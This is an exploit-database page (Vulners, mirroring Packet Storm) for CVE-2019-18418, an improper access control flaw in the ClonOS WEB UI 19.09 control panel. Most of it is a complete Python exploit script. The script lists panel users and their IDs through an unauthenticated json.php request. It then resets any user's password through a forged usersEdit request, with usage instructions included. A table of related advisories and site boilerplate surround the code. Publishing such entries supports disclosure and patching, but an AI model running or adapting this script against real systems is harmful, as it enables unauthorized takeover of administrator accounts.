Lucene search
K

ClonOs WEB UI 19.09 Improper Access Control

🗓️ 25 Oct 2019 00:00:00Reported by Ibrahim Hakan SekerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 136 Views

ClonOs WEB UI 19.09 Improper Access Control Exploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
ClonOs WEB UI 19.09 - Improper Access Control Exploit
25 Oct 201900:00
zdt
Circl
CVE-2019-18418
27 Jan 202413:11
circl
CNVD
ClonOS WEB control panel authorization issue vulnerability
24 Oct 201900:00
cnvd
Check Point Advisories
ClonOs WEB UI Authentication Bypass (CVE-2019-18418)
18 Nov 202000:00
checkpoint_advisories
CVE
CVE-2019-18418
24 Oct 201919:01
cve
Cvelist
CVE-2019-18418
24 Oct 201919:01
cvelist
NVD
CVE-2019-18418
24 Oct 201920:15
nvd
OSV
CVE-2019-18418
24 Oct 201920:15
osv
Prion
Default credentials
24 Oct 201920:15
prion
RedhatCVE
CVE-2019-18418
9 Jan 202610:17
redhatcve
Rows per page
`# Exploit Title: ClonOs WEB UI 19.09 - Improper Access Control  
# Date: 2019-10-19  
# Exploit Author: İbrahim Hakan Şeker  
# Vendor Homepage: https://clonos.tekroutine.com/  
# Software Link: https://github.com/clonos/control-pane  
# Version: 19.09  
# Tested on: ClonOs  
# CVE : 2019-18418  
  
  
import requests  
from bs4 import BeautifulSoup  
import sys  
  
def getUser(host):  
reg=r'\"'  
r1 = requests.post(host+"/json.php",data={"mode":"getJsonPage","path":"/users/","hash":"","db_path":""},headers={"X-Requested-With":"XMLHttpRequest"})  
r1_source = BeautifulSoup(r1.content,"lxml")  
for k in r1_source.findAll("tr"):  
for i in k.findAll("td")[0]:  
print(f"[+]User Found: {i} User id: {k.get('id').replace(reg,'')}")  
def changePassword(host,user,password,id):  
data={  
"mode":"usersEdit",  
"path":"/users/",  
"hash":"",  
"db_path":"",  
"form_data[username]":f"{user}",  
"form_data[password]":f"{password}",  
"form_data[password1]":f"{password}",  
"form_data[first_name]":"",  
"form_data[last_name]":"",  
"form_data[actuser]":"on",  
"form_data[user_id]": int(id)  
}  
r2=requests.post(host,data=data,headers={"X-Requested-With":"XMLHttpRequest"})  
if r2.status_code==200:print("[+]OK")  
else:print("[-]Fail")  
if __name__=="__main__":  
if len(sys.argv)>1:  
if "getUser" in sys.argv[1]:getUser(sys.argv[2])  
elif "changePassword" in sys.argv[1]:changePassword(sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])  
else:print("Fail parameter")  
else:print("Usage: exploit.py getUser [http://ip_adres]\nexploit.py changePassword [http://ip_adres] [username] [new_password] [user_id]")  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Oct 2019 00:00Current
0.7Low risk
Vulners AI Score0.7
EPSS0.1056
136